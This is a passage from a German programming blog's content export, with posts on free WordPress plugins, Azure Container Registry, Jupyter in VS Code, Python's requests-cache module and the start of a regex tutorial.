gemacht.\nDurch das Einbinden dieses Plugins in meine Seitenleiste hat sich meine Bouncerate um über 10 % verbessert!\nGDPR Cookie Consent Nach deutschem Gesetz und europäischer Richtlinie musst du deine Besucher über die Nutzung von Cookies aufklären. Deswegen brauchst du irgendein Cookie Einwilligungstool. GDPR Cookie Consent schien mir brauchbar. Die Konfiguration hätten sie ehrlich gesagt bestimmt auch einfacher gestalten können, aber es tut seinen Job.\nSmush Smush verringert die Bandbreite und macht die Webseite schneller! Bilder werden erst geladen, wenn sie sichtbar sind. Außerdem kann es die Bilder in deinem Medienarchiv komprimieren. Es ist einfach zu implementieren und sofort nützlich.\nStream Status for Twitch Dieses kleine Tool zeigt an, wenn ich gerade bei Twitch online bin. Ist ansonsten nicht zu sehen. Wer möchte, kann mit Stream Status for Twitch den Link zum Twitch Kanal auch dauerhaft einblenden.\nWer gar kein Twitch verwendet braucht dieses Plugin natürlich nicht.\nWP Super Cache Normalerweise generiert WordPress jede Seite aus einem PHP Script bevor sie als HTML Code an den User ausgeliefert wird. Das WP Super Cache Plugin speichert diese HTML Seiten in einem Cache, nachdem sie das erste Mal generiert wurden. Dadurch muss dein Server sie beim zweiten Aufruf derselben URL nicht noch einmal generieren. Stattdessen wird direkt die HTML Datei des ersten Aufrufs ausgeliefert.\nDurch dieses Caching ist meine Webseitenauslieferung von 500 Millisekunden auf 50 Millisekunden bei bereits gecachten Beiträgen schneller geworden.\nYoast SEO Das Plugin Yoast SEO bietet sehr viele SEO Features. Auf alles einzugehen würde diesen Beitrag sprengen. Eigentlich hätte ich dieses Plugin auch unter internal Plugins auflisten können. Stattdessen steht es bei den Externen, weil der User zumindest mit den Suchmaschinentexten in Berührung kommt. Unter den Features sind neben Konfigurationsmöglichkeiten von allerlei SEO Metadaten und Keywordvorschlägen auch Tools, die deine Artikel auf Suchmaschinenoptimierung checken können.\nInterne Plugins Nun folgen nützliche Plugins zum Thema Administration mit WordPress: Advanced Ads für Werbeverifikation, Export Media Library für Medienexporte, Site Kit von Google für AdSense und Analytics Integration, Statify für Statistiken, WP Cerber Sicherheit für Netzwerksicherheit, WP Githuber MD für Markdownunterstützung und WP Server Stats für Statistiken.\nAdvanced Ads Advanced Ads nutze ich ehrlich gesagt ausschließlich für das Bereitstellen der ads.txt\u0026hellip; Aber wer sich in dieses Plugin rein fuchst, der findet dort auch noch andere Features zum Thema Werbeanzeigenoptimierung.\nExport Media Library Ich mache regelmäßig Backups von meinen Beiträgen und von den Bildern. Die Beiträge kannst du von Haus aus mit WordPress exportieren. Mit Export Media Library kann ich zusätzlich die komplette Medien Library, mit nur einem Klick als Zip-Datei zu exportieren.\nSite Kit von Google Wenn du - wie ich - die Tools AdSense und Analytics von Google nutzt, dann kommst du um Site Kit von Google nur schwer herum. Es bietet neben dieser Anbindung auch noch andere SEO Features. Seit neustem kann es über die Google Search Console sogar Vorschläge geben, über welche Themen du noch schreiben könntest. Leider ist letzteres Feature aktuell nur auf Englisch verfügbar.\nStatify Statify ist ein nettes Tool, das die Seitenaufrufe der letzten Tage anzeigt. Während Google Analytics sowohl Bots als auch Benutzer ohne Cookies herausfiltert, werden hier sämtliche Aufrufe gezählt. Es speichert dabei keine IP-Adressen oder andere Metainformationen.\nAuch wenn ich tendenziell eher auf die Daten von Google vertraue, kann mir Statify zum Beispiel Hinweise darauf geben, dass meine Webseite gescannt wurde.\nWP Cerber Sicherheit, Antispam \u0026amp; Malware Scan WP Cerber ist wieder ein Flaggschiff dessen Features diesen Blog sprengen würden. Prinzipiell bietet es allerlei Must-haves, die man haben sollte, wenn man nicht will, dass der eigene Blog gehackt wird. Ein paar Features:\nBlocklisten von IPs, die das Passwort beim Admin Login falsch eingeben Captcha Abfragen für den Adminbereich (extrem nützlich, ich habe stündlich Bots die versuchen mein Passwort zu erraten!) Zitadellenmodus (wenn extrem viele Angriffe von unterschiedlichen IP-Adressen kommen wird der Adminbereich kurzzeitig komplett abgeschaltet) WP Githuber MD Jetzt kommen wir zu einem Plugin, das vielleicht nicht für jeden geeignet ist. Ich für meinen Teil liebe es. WP Githuber MD aktiviert einen alternativen Beitragseditor, mit dem du deine Beiträge im Markdown Format schreiben kannst. Dieses Format ist vor allem bei Programmierern beliebt. Markdown ist eine leichtgewichtige Markup Sprache, mit der du deinen Text formatieren kannst, ohne die Maus zu bedienen. Alle Beiträge meines Blogs sind in Markdown geschrieben. Darüber hinaus bietet es automatische Syntaxhervorhebung für Quellcode und noch ein paar andere Features.\nWP Server Stats WP Server Stats ist ein weiteres kleines Minitool. Es zeigt die Auslastung des Servers an. Nicht wirklich notwendig, wenn du einen Hoster nutzt. Falls du deinen Server selbst hostest ist es immer eine gute Idee etwas Überblick zu haben.\nHonorable Notions Zum Abschluss noch ein paar Stücke Software, die ich aus unterschiedlichen Gründen oben nicht aufgelistet habe.\nOceanWP OceanWP ist das WordPress-Theme, das ich benutze. Es ist nicht wirklich ein Plugin, aber da es Software ist die auf WordPress installiert wird passen Themes doch irgendwie in diesen Beitrag. Irgendein Theme brauchst du. Dieses bietet sehr viel Customizing.\nBrave Payments Verification Mit Brave Payments Verification kannst du die Datei /.well-known/brave-payments-verification.txt erstellen und deine Webseite dadurch vor dem Brave Netzwerk verifizieren. Habe ich nie wirklich gebraucht und nur sehr wenige meiner Besucher nutzen den Brave-Browser.\nNewsletter, SMTP, Email marketing and Subscribe forms by Sendinblue Mit diesem Plugin kannst du Formulare erzeugen und anzeigen lassen. Mit diesen Formularen können sich deine Besucher über den Newsletterdienst Sendinblue auf deinen Newsletter eintragen. Auch wenn ich es integriert habe nutze ich diese Option noch nicht wirklich.\n","permalink":"https://quisl.de/b/kostenlose-wordpress-plugins-2022/","summary":"Einer der großen Vorteile von WordPress ist die einfache Erweiterbarkeit mithilfe von Plugins. In diesem Beitrag möchte ich eine kurze Übersicht geben, welche gratis WordPress-Plugins ich für diesen Blog aktuell benutze. Vielleicht kannst du den ein oder anderen Tipp mitnehmen.\nAlle Plugins in dieser Liste nutze ich in der kostenlosen Variante. Bei vielen davon kriegst du gegen Geld noch ein paar weitere Features. Viel Spaß!\nPluginempfehlungen Ich habe die Plugins grob zwischen internen und externen Plugins unterteilt.","title":"Die besten kostenlosen Wordpress Plugins 2022"},{"content":"Azure bietet ein Sammelsurium an Services, die mit Docker oder OCI Containern arbeiten können. Wie du einen eigenen Azure Kubernetes Service anlegst, lernst du hier.\nDa liegt der Gedanke nicht fern, dass du deine eigenen Container auch in Azure hosten willst. Mit der Azure Container Registry kannst du genau das einrichten.\nVorteil ist zum einen das bekannte Management über das Azure Portal. Dadurch kannst du deine Container zum Beispiel gesondert über eine Firewall oder gar virtuelle Netzwerke schützen. Zum anderen werden deine Images von dieser Registry viel schneller geladen, wenn sie im selben Rechenzentrum wie deine restlichen Services liegen.\nIn diesem Tutorial erfährst du, wie du die Azure Container Registry verwendest.\nAzure Container Registry erzeugen Bei Azure gibt es viele Wege eine Ressource zu erzeugen: CLI, Portal, PowerShell, ARM-Template, Bicep, Terraform\u0026hellip; In diesem Beitrag zeige ich dir stellvertretend nur die ersten beiden Wege. Bei der Benennung der Ressource musst du beachten, dass der Name einzigartig sein muss. Das hat den Hintergrund, dass Azure dir einen Link zu deiner Registry als Subdomäne von azurecr.io bereitstellt, der diesen Namen enthält.\nMit dem CLI Informationen zur Installation des command line interfaces findest du hier.\nDeine Container Registry ist schnell erzeugt: Anmelden \u0026gt; Ressourcengruppe erzeugen \u0026gt; ACR erzeugen.\naz login az group create --name RESSOURCENGRUPPENNAME --location westeurope az acr create --resource-group westeurope --name RESSOURCENNAME --sku Basic Die Namen RESSOURCENGRUPPENNAME und RESSOURCENNAME sowie die SKU Basic kannst du natürlich entsprechend abändern.\nHast du einen Unternehmensaccount oder sind aus anderen Gründen mehrere Subscriptions mit deinem Account verknüpft, musst du nach dem Login deine Subscription wählen. Alle anderen können den Punkt ignorieren.\naz account set --subscription \u0026#34;NAME DER SUBSCRIPTION\u0026#34; Mit dem Portal Im Azure Portal auf Ressource erstellen und dort in der Kategorie Container auf Container Registry. Dort kannst du neben dem Namen zusätzlich noch die Subscription, Ressourcengruppe, Location sowie die SKU konfigurieren. Mehr zur SKU unter dem Punkt Azure Container Registry Kosten.\nImagenutzung Jetzt wo die Registry erstellt ist willst du sie natürlich auch benutzen. Dazu musst du dich zunächst anmelden.\nLogin Hier hab ich prinzipiell 2 funktionierende Wege gefunden. 1) Anmeldung mit dem Azure CLI oder 2) Anmeldung über den Admin Account.\nMit dem CLI Dies ist der von Microsoft bevorzugte Weg, da er die Berechtigungen im Azure Portal berücksichtigt. Anmerkung: Du musst in deinem CLI angemeldet sein (siehe \u0026ldquo;Mit dem CLI\u0026rdquo;).\naz acr login --name RESSOURCENNAME Login Succeeded Dieser Befehl fügt die Credentials automatisch in deine lokale Docker Installation hinzu, sodass du deine neue Registry ab sofort mit den üblichen Docker Befehlen benutzen kannst. Bei dieser Variante musst du mit Ausnahme des CLI-Logins kein Passwort mehr eingeben.\nMit dem Admin Falls du die CLI nicht verwenden willst oder gar nicht installiert hast, gibt es noch eine andere Variante. Im Portal klickst du auf deine Container Registry Ressource und dort unter \u0026ldquo;Settings\u0026rdquo; auf \u0026ldquo;Access Keys\u0026rdquo;. Hier kannst du den Adminuser aktivieren. Der Benutzername ist identisch mit dem der Registryname und zusätzlich werden zwei Passwörter erzeugt. Mit diesen Passwörtern kannst du dich mit den Docker Befehlen anmelden.\ndocker login RESSOURCENNAME.azurecr.io Username: RESSOURCENNAME\rPassword:\rLogin Succeeded Image pushen Bevor du ein Image auf die Registry pushst, musst du es zunächst mit der neuen Adresse taggen. Das ist zum einen nötig, da du ein privates Repository, nicht das Docker Hub verwenden und zum anderen muss jedes Image sowieso getaggt sein. Hier ein Beispiel anhand des offiziellen hello-world Container Images:\nHerunterladen von hello-world:\ndocker pull hello-world Lokales Image taggen:\ndocker tag hello-world RESSOURCENNAME.azurecr.io/hello-world:v1 Den Tag v1 kannst du natürlich frei ändern.\nIn vielen Tutorials sehe ich, dass der Tag latest verwendet wird. Dies kann zu Verwirrung führen da latest vom Docker System als das zuletzt gepushte Image übersetzt wird. Das bedeutet, dass dein latest Tag automatisch überschrieben wird, wenn du später ein Image mit einem anderen Tag hochlädst.\nNachdem du das Image mit der Adresse getaggt hast du es pushen:\ndocker push RESSOURCENNAME.azurecr.io/hello-world:v1 Image ausführen Da du angemeldet bist, kannst du dein gepushtes Image mit den ganz normalen Dockerbefehlen ausführen. Du musst nur darauf achten, dass du die ganze Adresse mitgibst.\ndocker run RESSOURCENNAME.azurecr.io/hello-world:v1 Hello from Docker! This message shows that your installation appears to be working correctly. To generate this message, Docker took the following steps: The Docker client contacted the Docker daemon. The Docker daemon pulled the \u0026#34;hello-world\u0026#34; image from the Docker Hub. (amd64) The Docker daemon created a new container from that image which runs the executable that produces the output you are currently reading. The Docker daemon streamed that output to the Docker client, which sent it to your terminal. To try something more ambitious, you can run an Ubuntu container with: $ docker run -it ubuntu bash Share images, automate workflows, and more with a free Docker ID: https://hub.docker.com/ For more examples and ideas, visit: https://docs.docker.com/get-started/ Azure Container Registry Kosten Nun zum ungemütlichen Teil. Natürlich bietet Azure diesen Service nur gegen Bares an. Wie oben erwähnt kannst du eine SKU wählen. Aktuell gibt es drei zur Auswahl: Basic, Standard und Premium\nBasic Standard Premium Preis pro Tag in €\t0,144 0,575 Gratisspeicher in GB 10 100 Zusätzlicher Speicher pro GB in € 0,003 0,003 Kosten pro CPU pro Sekunde bei Containerbau in € 0,00009 0,00009 Anzahl möglicher Webhooks 2 10 Manche Features wie limitierten Netzwerkzugang, erhöhter Bandbreite oder mehreren Nodes sind nur in der Premiumversion verfügbar. Die Preise ändern sich natürlich regelmäßig. Die Zahlen oben sind vom November 2021 in der Region West Europa (Amsterdam). Hier findest du die aktuellen Preise.\nAlternativen zur Container Registry Zu guter Letzt sei dir noch auf dem Weg gegeben, dass es auch kostenlose Repositoryanbieter gibt, bei denen es sich lohnt mal rein zu schauen.\nIm DockerHub kannst du kostenlos so viele Images hosten wie du willst. Aber leider kann man nur ein einziges privates Image hochladen. Auf GitHub kannst du nicht nur Quellcode hochladen, sondern auch ein Docker Image pro Repository. Wenn das Repository privat ist, ist das Dockerimage ebenfalls privat. Die Adresse der Images lautet dann: \u0026ldquo;ghcr.io/USERNAME/REPOSITORYNAME\u0026rdquo;. Leider bietet Github aktuell noch keine Weboberfläche, um die Images im Browser zu listen. Viele der gratis Provider kommen allerdings auch häufig mit anderen Limitierungen wie etwa ein downloadlimit daher. Daher solltest du vorher abwägen was deine Anforderungen sind um die richtige Wahl zu treffen.\n","permalink":"https://quisl.de/b/docker-container-auf-azure-container-registry/","summary":"Azure bietet ein Sammelsurium an Services, die mit Docker oder OCI Containern arbeiten können. Wie du einen eigenen Azure Kubernetes Service anlegst, lernst du hier.\nDa liegt der Gedanke nicht fern, dass du deine eigenen Container auch in Azure hosten willst. Mit der Azure Container Registry kannst du genau das einrichten.\nVorteil ist zum einen das bekannte Management über das Azure Portal. Dadurch kannst du deine Container zum Beispiel gesondert über eine Firewall oder gar virtuelle Netzwerke schützen.","title":"Wie du Docker Container auf einer Azure Container Registry verwendest"},{"content":"Visual Studio Code bietet uns Programmierern das ein oder andere Bequemlichkeitsfeature. Eines davon ist die Anbindung an das Projekt Jupyter.\nIn diesem Tutorial lernst du, wie du Jupyter in VS Code verwendest und welche Möglichkeiten du dadurch erhältst deinen Quellcode einfacher zu debuggen.\nWas ist Jupyter Das Jupyter Projekt erlaubt dir sogenannte Jupyter Notebooks zu erstellen. In diesen Notebooks kannst du langen Quellcode in Quellcodeblöcke aufteilen und unabhängig voneinander ausführen. Nachdem du einen Block ausgeführt hast, bleiben alle Variablen, die in diesem Block verändert wurden, verändert. Dadurch kannst du das ganze Programm ausführen, indem du alle Blöcke hintereinander ausführst.\nDas hilft vor allem beim debuggen von Codeteilen in größeren Projekten, da du nicht für jeden Fehler den kompletten Quellcode von Neuem ausführen musst. Stattdessen kannst du nur den Teil ausführen, den du testen willst.\nJuptyter unterstützt nicht nur Python, sondern auch andere Sprachen wie Julia, R, Scala und weiteren. In diesem Beitrag werde ich mich auf Python beschränken, da es die Installation mithilfe von pip sehr leicht macht und das Interaktive Fenster explizit für Python entwickelt wurde. Allerdings gibt es mittlerweile schon Adaptionen für andere Sprachen.\nInstallation Jupyterlab Nachdem du Python installiert hast, kannst du Jupyterlab mit pip nachinstallieren. Jupyterlab ist die neue Weboberfläche, mit der du auf die Funktionen von Jupyter zugreifen kannst. Jupyterlab ersetzt damit das alte Tool \u0026ldquo;Jupyter Notebook\u0026rdquo;.\nMit folgendem Befehl wird Jupyterlab sowie die benötigten Pakete wie etwa jupyter-core und jupyter-client installiert.\npip install jupyterlab Danach solltest du Jupyterlab starten können.\njupyter lab Hinweis: Falls du pip nur für deinen Benutzer (nicht als Admin) ausgeführt oder du das --user Argument verwendent hast, kann es sein, dass dieser Befehl fehlschlägt:\nDer Befehl \u0026#34;jupyter\u0026#34; ist entweder falsch geschrieben oder konnte nicht gefunden werden. In dem Fall musst du den Userpfad in deine PATH Variable hinzufügen. Bei mir war der Pfad unter Windows C:\\Users\\Quisl\\AppData\\Roaming\\Python\\Python39\\Scripts. Einen Hinweis auf deinen Pfad findest du mit folgendem Befehl.\npython -c \u0026#34;import site; print(site.USER_BASE)\u0026#34; C:\\Users\\Quisl\\AppData\\Roaming\\Python In Jupyterlab kannst du dich im Browser schon ein wenig mit den Codeblöcken von Jupyter vertraut machen. Aber wir wollen schließlich nicht im Browser, sondern in VS Code programmieren.\nJupyter in VS Code Glücklicherweise kannst du diese Codeblöcke auch direkt in Visual Studio Code anzeigen und bearbeiten. Dazu stellt VS Code mithilfe der Jupyter Erweiterung zwei Möglichkeiten bereit: über Jupyter Notebooks und über das Interaktive Fenster.\nIch benutze neben der Jupyter Erweiterung übrigens noch zwei weitere Erweiterungen für Jupyter: Jupyter Keymap und Jupyter Notebook Renderers. Dazu später mehr.\nInstallation Jupyter in VS Code Wenn du VS Code offen hast, kannst du die Jupyter Erweiterung im Erweiterungstab (STRG+Umschalt+X) installieren. Such dazu einfach nach \u0026ldquo;jupyter\u0026rdquo; und installiere das Paket.\nVariante 1: Jupyter Notebook (mit .ipynb) Um ein Jupyter Notebook direkt in Visual Studio zu erstellen, kannst du mit STRG+Umschalt+P folgendes VS Code Kommando ausführen.\nJupyter: Create New Jupyter Notebook Danach verwandelt sich der Texteditor von VS Code in eine Codeblockoberfläche, ähnlich wie du sie von Jupyter Notebooks bzw. Jupyterlabs kennst. Über die Buttons kannst du Codeblöcke sowie Markdownblöcke für Kommentare hinzufügen.\nPro Tipp: Einzelne Blöcke kannst du - nachdem du sie mit einem Mausklick in den Fokus gebracht hast - auch mit der Tastenkombination Umschalt+Enter ausführen. Danach springt der Fokus automatisch auf den nächsten Block weiter.\nWenn du deine Datei speicherst, wird die Datei als Jupyternotebookdatei mit der Endung .ipynb abgespeichert. Das ist von Nachteil, wenn du eigentlich ein Script schreiben und mit Jupyter nur debuggen wolltest. Denn der Pythoninterpreter kann dieses Dateiformat nicht lesen. Deswegen musst du deinen Quellcode mit einem letzten Schritt wieder in eine .py Datei exportieren.\nDer Vorteil von Jupyternotebookdateien ist, dass sie die letzten Zwischenergebnisse in der Datei speichern. Dieses Verhalten ist im Data Science Bereich unter Umständen genau das gewünschte. Falls du allerdings nur debuggen wolltest ist es etwas nervig. Daher kann ich dir das Interaktive Fenster in VS Code empfehlen.\nVariante 2: Interaktives Fenster (mit .py) Mit dem Interaktiven Fenster, kannst du jedes Pythonscript in Blöcke unterteilen (so wie es sonst nur mit Jupyternotebook Dateien geht) ohne die Programmlogik oder gar das Dateiformat zu ändern. Um einen Block zu erzeugen, brauchst du ihn nur mit den Zeichen # %% zu definieren. Beispiel:\n# %%\rmsg = \u0026#34;Hello World\u0026#34;\rprint(msg)\r# %%\rmsg = \u0026#34;Hello again\u0026#34;\rprint(msg) Diese Blöcke können mit Shift+Enter oder mit dem \u0026ldquo;Run Cell\u0026rdquo; Knopf ausgeführt werden. Beim Ausführen startet das interaktive Fenster automatisch auf der rechten Seite neben deinem Quellcode. Dort siehst du dann auch die Kommandozeilenausgaben deines Programms.\nDa die Blöcke über Kommentare definiert werden bleibt deine .py Datei weiterhin von Python ausführbar.\nEin weiterer Vorteil gegenüber der Notebookvariante ist, dass du deinen Text mit allen Erweiterungen und deinem gewohnten Syntaxhighlighting editieren kannst. Vor allem, wenn du noch andere Erweiterungen verwendest, ist dies sehr angenehm.\nErweiterung: Jupyter Keymap Mit Jupyter Keymap kannst du deine gewohnten Hotkeys auch in Jupyter Notebooks verwenden. Das funktioniert auch mit der Vim Erweiterung zusammen.\nErweiterung: Jupyter Notebook Renderers Die Jupyter Renderers Erweiterung macht, dass du Bilder direkt in VS Code anzeigen kannst. In der browserbasierten Variante von Jupyter funktioniert das von Haus aus.\n","permalink":"https://quisl.de/b/vs-code-jupyter/","summary":"Visual Studio Code bietet uns Programmierern das ein oder andere Bequemlichkeitsfeature. Eines davon ist die Anbindung an das Projekt Jupyter.\nIn diesem Tutorial lernst du, wie du Jupyter in VS Code verwendest und welche Möglichkeiten du dadurch erhältst deinen Quellcode einfacher zu debuggen.\nWas ist Jupyter Das Jupyter Projekt erlaubt dir sogenannte Jupyter Notebooks zu erstellen. In diesen Notebooks kannst du langen Quellcode in Quellcodeblöcke aufteilen und unabhängig voneinander ausführen. Nachdem du einen Block ausgeführt hast, bleiben alle Variablen, die in diesem Block verändert wurden, verändert.","title":"Python Interaktive Fenster mit Visual Studio Code – Ein Einstieg in Jupyter"},{"content":"Wenn du mit Python APIs aufrufst, nutzt du wahrscheinlich das requests Modul. Manchmal sind API Aufrufe jedoch mit Kosten (Rechenleistung, Bandbreite, RAM etc.) verbunden. In solchen Fällen kannst du eine Technik nutzen, die als Caching bezeichnet wird.\nBeim Caching werden Daten, die teuer beim Einlesen sind, in einen günstigen Zwischenspeicher geschrieben und erst dann erneut abgefragt, wenn bestimmte Bedingungen erfüllt sind. Eine Bedingung kann zum Beispiel sein, dass die Daten im Cache ein bestimmtes Alter erreichen.\nEin Modul das sich nahtlos an das requests Modul andockt und automatisch das Caching all deiner API Aufrufe übernimmt, nennt sich requests-cache. Du findest es auch als Projekt auf Pypi. In diesem Tutorial möchte ich es dir vorstellen und zeigen wie du es einsetzen kannst um in Zukunft Aufrufe einsparen zu können\nCache Prinzip Wenn du einen requests-cache nutzt, schaut dein Programm zuerst in diesen Cache und überprüft, ob die angefragten Daten bereits vorhanden und noch nicht zu alt sind. Werden entsprechende Daten gefunden, nutzt das Programm einfach diese. Siehe folgendes Schaubild.\nErst, wenn keine oder zu alte Daten im Cache vorliegen, wird ein Versuch unternommen die Daten von der API zu besorgen.\nEinsatzgebiet Wie Eingangs erwähnt ist das Haupteinsatzgebiet von requests-cache die Anbindung an teure APIs. Nehmen wir einmal an du arbeitest mit einer eine API, die Wetterdaten bereitstellt zusammen, bei der du für jeden Aufruf bezahlst.\nDurch diese Kosten hast du sicherlich ein Interesse daran möglichst selten Aufrufe zu machen. Da sich das Wetter in wenigen Sekunden kaum ändert, wäre es ausreichend nur noch einen Aufruf pro Minute zu tätigen.\nUnd selbst wenn du gar nichts für deine Aufrufe bezahlen würdest, wärst du dennoch gut beraten, wenn du die Antworten cachest. Dadurch verhinderst du nämlich unnötige Last auf beiden Seiten. Denn auch dein Programm wird schneller laufen, wenn es nicht auf externe APIs warten muss.\nInstallation Requests kann mit pip installiert werden. Das geht mit folgendem Befehl sowohl unter Linux als auch unter Mac und Windows.\npip install requests-cache Anschließend kann requests-cache in dein Pythonprojekt importiert werden. Beachte den Unterstrich anstelle des Bindestrichs!\nimport requests_cache Python und Pip müssen natürlich installiert sein.\nNutzung Prinzipiell bietet requests-cache 2 Varianten zur Implementation an. Den globalen, also programmweiten Cache sowie die Cached Session.\nGlobaler Cache (install_cache) Die einfache Variante ist, es mithilfe von requests-cache die Library von requests patchen zu lassen. Dadurch wird quasi ein programmweit gültiger Cache für alle nachfolgenden requests Aufrufe erzeugt.\nimport requests import requests_cache requests_cache.install_cache(\u0026#39;IRGENDEINNAME\u0026#39;) requests.get(\u0026#39;https://quisl.de/\u0026#39;) Mit zusätzlichen Parametern kann der Cache konfiguriert werden. Etwa welches Backend er verwendet, welche Aufrufe cached werden und wann die Daten frühstens upgedatet werden sollen. Dazu später mehr. Mit den Defaultwerten wird eine SQLite Datenbank mit dem angegebenen Namen im aktuellen Arbeitsverzeichnis erzeugt.\nVon der Nutzung dieser globalen Variante würde ich generell abraten. Schließlich werden dadurch nämlich sämtliche requests Aufrufe deines Programms beeinflusst. Vor allem bei großen Projekten wie etwa Webseiten mit Django kann dies zu ungewollten Nebeneffekten führen.\nCached Session (CachedSession) Eine bessere Lösung bietet die cached Session. Dabei wird ein Objekt erzeugt, das sich genauso wie eine requests.session verhält. Darüber hinaus unterstützt dieses Objekt caching und kann dieselben Parameter wie auch der globale Cache entgegennehmen.\nimport requests_cache session = requests_cache.CachedSession(\u0026#39;IRGENDEINNAME\u0026#39;) session.get(\u0026#39;https://quisl.de/\u0026#39;) Ein weiterer Vorteil an dieser Variante ist, dass du requests gar nicht mehr importieren musst. Dadurch sparst du zumindest in diesem Beispiel eine Zeile Code.\nBackend (Parameter: backend) Aktuell unterstützt requests-cache folgende Backend Datenbanken:\nDynamoDB Filesystem GridFS MongoDB Redis SQLite Wobei letztere mit SQLite die default Variante ist, die verwendet wird, wenn keine Datenbank explizit angegeben wurde. Dabei wird für jeden neuen Namen der CachedSession eine eigene Datei bzw. Datenbank im aktuellen Arbeitsverzeichnis erzeugt. Dadurch wird ermöglicht, dass du dein Programm neu starten kannst und immer noch auf den Cache von vor dem Neustart zugreifen kannst. Sofern die Dateien noch immer dort sind.\nSolang du keinen geteilten Cache über mehrere Server hinweg benötigst, würde ich bei SQLite bleiben. Brauchst du den geteilten Cache doch, musst du dich mit einer der anderen Datenbanken vertraut machen und entsprechend einen Server für das Caching aufsetzen. Ich denke Redis wäre als in-Memory Datenbank eine geeignete Wahl.\nZum Konfigurieren des Backends kannst du einfach den backend Parameter benutzen.\nimport requests_cache session = requests_cache.CachedSession(\u0026#39;IRGENDEINNAME\u0026#39;, backend=\u0026#34;sqlite\u0026#34;) session.get(\u0026#39;https://quisl.de/\u0026#39;) Zeit (Parameter: expire_after) Natürlich wollen wir auch noch definieren wie lang die Daten im Cache vorgehalten werden sollen. Dazu dient der expire_after Parameter.\nDieser kann folgende Werte verarbeiten:\n-1 (niemals ablaufen) 0 (sofort ablaufen (um den Cache zu überbrücken) eine positive ganze Zahl (Alter in Sekunden) ein timedelta (aus dem datetime Modul) ein datetime Zeitpunkt Folgender Code erzeugt einen Cache der die Daten bis zu 6 Minuten speichert.\nimport requests_cache session = requests_cache.CachedSession(\u0026#39;IRGENDEINNAME\u0026#39;, expire_after=360) session.get(\u0026#39;https://quisl.de/\u0026#39;) session = CachedSession() Sonstige Parameter Hier noch ein paar der wichtigsten Parameter, die du beim Erstellen einer CachedSession mitgeben kannst im Überblick.\ncache_name (str) – Cache prefix oder namespace, je nach Backend backend (str) - Backend Typ. Einer von: [\u0026#39;sqlite\u0026#39;, \u0026#39;filesystem\u0026#39;, \u0026#39;mongodb\u0026#39;, \u0026#39;gridfs\u0026#39;, \u0026#39;redis\u0026#39;, \u0026#39;dynamodb\u0026#39;, \u0026#39;memory\u0026#39;]. Manche Backend Typen brauchen noch weitere Parameter. Siehe offizielle Doku. expire_after (None, int, float, str, datetime, timedelta) – Zeit nach der gecachte Daten auslaufen. urls_expire_after (dict) – Wann Daten bestimmter URL Muster auslaufen cache_control (bool) – Benutze den Cache-Control Header um das Ablaufdatum zusetzen. Ist zum Beispiel nützlich bei Auth Token bei denen du im vorraus nicht genau weiß wann sie ablaufen. allowable_codes (int) – nur bestimmte HTTP Statuscodes cachen allowable_methods (Iterable[str]) – Nur bestimmte HTTP Methoden cachen (zum Beispiel: (\u0026#34;GET\u0026#34;, \u0026#34;POST\u0026#34;, \u0026#34;PUT\u0026#34;, \u0026#34;DELETE\u0026#34;)) match_headers – Nur Pakete cachen die bestimmte Header haben. Diese müssen als Header Liste (oder zumindest als Iterable) mitgegeben werden. (True speichert alle Header) Dazu noch einige spezielle Parameter je nach Backend.\nWeitere Beispiele findest du in der offiziellen Doku.\n","permalink":"https://quisl.de/b/python-requests-cache-einfuehrung/","summary":"Wenn du mit Python APIs aufrufst, nutzt du wahrscheinlich das requests Modul. Manchmal sind API Aufrufe jedoch mit Kosten (Rechenleistung, Bandbreite, RAM etc.) verbunden. In solchen Fällen kannst du eine Technik nutzen, die als Caching bezeichnet wird.\nBeim Caching werden Daten, die teuer beim Einlesen sind, in einen günstigen Zwischenspeicher geschrieben und erst dann erneut abgefragt, wenn bestimmte Bedingungen erfüllt sind. Eine Bedingung kann zum Beispiel sein, dass die Daten im Cache ein bestimmtes Alter erreichen.","title":"Python Requests Aufrufe cachen leicht gemacht – Wie du das requests-cache Modul verwendest"},{"content":"Mithilfe von regulären Ausdrücken (oder kurz Regex) kannst du maschinell Textstellen aus einem Text finden, bestimmte Zahl in einer Datei auslesen, die Textausgabe eines Kommandozeilentools weiterverarbeiten und einen String auf korrekte Syntax überprüfen.\nReguläre Ausdrücke haben sich in der Informatik längst als Industriestandard etabliert. Sie helfen beim automatischen Auswerten von jeder Form von Strings. Dabei handelt es sich um Schablonen bzw. Templates. Anhand dieser Templates können Substrings in einem größeren Text gefunden werden.\nIn diesem Tutorial stelle ich die Funktionsweise von regulären Ausdrücken in der Programmiersprache Python vor und zeige dir, wie du sie verwendest.\nWas ist ein regulärer Ausdruck Einen regulären Ausdruck kannst du dir als Suchfilter für eine Textsuche vorstellen. Anders als bei einer statischen Textsuche kannst du mit einem regulären Ausdruck darüber hinaus auch nach Textmustern suchen.\nDieser Ausdruck\n^ERROR.*$ angewendet auf diesen Text:\nERROR First error WARNING First warning ERROR Second error INFO first info INFO second info WARNING second warning findet alle Zeilen mit den Zeichen \u0026ldquo;ERROR\u0026rdquo;:\nERROR First error ERROR Second error Eine einfache Suche nach dem Wort \u0026ldquo;ERROR\u0026rdquo; hätte hingegen nur einzelne Wörter gefunden, keine ganzen Zeilen\u0026hellip; Regex ist aber noch viel mächtiger als das. Dazu später mehr.\nHallo Welt Um reguläre Ausdrücke in Python zu verwenden, kannst du das re Modul importieren. Es wird mit der normalen Python 3 Installation mitinstalliert. Deswegen kannst du es ohne vorherige Installation importieren:\nimport re text = \u0026#34;Hallo Welt 1, Moin Welt 2, Mahlzeit Welt 3, Servus Welt 4, Ahoi Welt 5\u0026#34; regex = \u0026#34;\\w* Welt 4\u0026#34; print(\u0026#34;Alle Funde:\u0026#34;,re.findall(regex,text)) Output:\n[\u0026#39;Servus Welt 4\u0026#39;] Oder wenn du nicht den ganzen Text durchsuchen willst, weil dir das erste Ergebnis reicht, kannst du auch re.search verwenden:\nmatch = re.search(regex,text) print(\u0026#34;Erstes Match:\u0026#34;,match.group(0)) Output:\n\u0026#39;Servus Welt 4\u0026#39; Spezielle Notation Wie du im Beispiel gesehen hast, musst du bei regulären Ausdrücken auf eine spezielle Notation zurückgreifen. Bestimmte Zeichen bzw. Zeichenkombinationen matchen nicht die Zeichen selbst, sondern haben eine spezielle Bedeutung.\n\\w steht zum Beispiel für jedes beliebige Wort. Genauer gesagt steht es für die Zeichen von a-z, von A-Z, von 0-9 sowie dem Unterstrich (_).\nCharacter sets Wenn du nur nach Wörtern mit bestimmten Buchstaben suchen willst, kannst du die Notation mit eckiger Klammer verwenden. Dadurch wird ein sogenanntes \u0026ldquo;Character set\u0026rdquo; erzeugt:\nimport re text = \u0026#34;Haus Igel 